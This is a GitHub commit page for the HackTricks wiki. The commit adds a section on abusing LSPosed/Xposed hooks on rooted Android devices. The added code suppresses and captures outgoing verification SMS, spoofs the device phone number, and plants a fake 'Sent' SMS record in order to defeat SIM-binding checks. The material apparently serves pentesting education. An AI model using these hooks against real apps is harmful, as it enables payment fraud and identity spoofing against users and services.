Skip to content

Commit 387defd

Browse files
authored
Merge pull request #2026 from HackTricks-wiki/update_Weaponizing_LSPosed__Remote_SMS_Injection_and_Iden_20260319_130130
Weaponizing LSPosed Remote SMS Injection and Identity Spoofi...
2 parents 8d316e4 + 39e0d0d commit 387defd

1 file changed

Lines changed: 64 additions & 1 deletion

File tree

src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md

Lines changed: 64 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -355,6 +355,69 @@ apk-mitm app.apk
355355
install-burp-certificate.md
356356
{{#endref}}
357357

358+
359+
## LSPosed/Xposed Hooking Abuse (Telephony/SMS)
360+
361+
On rooted devices, LSPosed/Xposed modules can hook Java telephony/SMS APIs at runtime, keeping the APK unmodified on disk while fully controlling what the app sees. This is commonly abused to bypass SIM‑binding flows that trust local telephony APIs or local SMS provider state.
362+
363+
Key primitives
364+
- **Suppress outgoing verification SMS** while exfiltrating the token by short‑circuiting `SmsManager.sendTextMessage` in `beforeHookedMethod`.
365+
- **Spoof MSISDN/line number** by forcing `TelephonyManager.getLine1Number()` and `SubscriptionInfo.getNumber()` to return an attacker‑controlled value.
366+
- **Plant a fake “Sent” record** in the SMS provider so apps that check local SMS history see a successful send even if the carrier never received it.
367+
368+
Example: block SMS dispatch and capture content
369+
```java
370+
XposedHelpers.findAndHookMethod(
371+
"android.telephony.SmsManager",
372+
lpparam.classLoader,
373+
"sendTextMessage",
374+
String.class, String.class, String.class, PendingIntent.class, PendingIntent.class,
375+
new XC_MethodHook() {
376+
protected void beforeHookedMethod(MethodHookParam param) {
377+
String body = (String) param.args[2];
378+
// exfiltrate body to operator channel
379+
param.setResult(null); // suppress real SMS send
380+
}
381+
}
382+
);
383+
```
384+
385+
Example: spoof device phone number
386+
```java
387+
XposedHelpers.findAndHookMethod(
388+
"android.telephony.TelephonyManager",
389+
lpparam.classLoader,
390+
"getLine1Number",
391+
new XC_MethodHook() {
392+
protected void afterHookedMethod(MethodHookParam param) {
393+
param.setResult(spoofedMsisdn);
394+
}
395+
}
396+
);
397+
```
398+
```java
399+
XposedHelpers.findAndHookMethod(
400+
"android.telephony.SubscriptionInfo",
401+
lpparam.classLoader,
402+
"getNumber",
403+
new XC_MethodHook() {
404+
protected void afterHookedMethod(MethodHookParam param) {
405+
param.setResult(spoofedMsisdn);
406+
}
407+
}
408+
);
409+
```
410+
411+
Example: inject a fake “Sent” SMS record
412+
```java
413+
ContentValues v = new ContentValues();
414+
v.put("address", dest);
415+
v.put("body", body);
416+
v.put("type", 2); // sent
417+
v.put("status", 0); // success
418+
context.getContentResolver().insert(Uri.parse("content://sms/sent"), v);
419+
```
420+
358421
## Handy command cheat‑sheet
359422

360423
```bash
@@ -418,5 +481,5 @@ Notes
418481
- [phantom-frida (stealth Frida server builder)](https://github.com/TheQmaks/phantom-frida)
419482
- [Frida OkHttp4 SSL pinning bypass script](https://github.com/Zero3141/Frida-OkHttp-Bypass)
420483
- [XDA guide to strong Play Integrity bypass (2025)](https://xdaforums.com/t/updated-11-17-2025-guide-get-strong-integrity-fix-banking-apps-revolut-google-wallet-android-16-working.4753805/)
421-
484+
- [Weaponizing LSPosed: Remote SMS Injection and Identity Spoofing in Modern Payment Ecosystems](https://www.cloudsek.com/blog/weaponizing-lsposed-remote-sms-injection-and-identity-spoofing-in-modern-payment-ecosystems-2)
422485
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)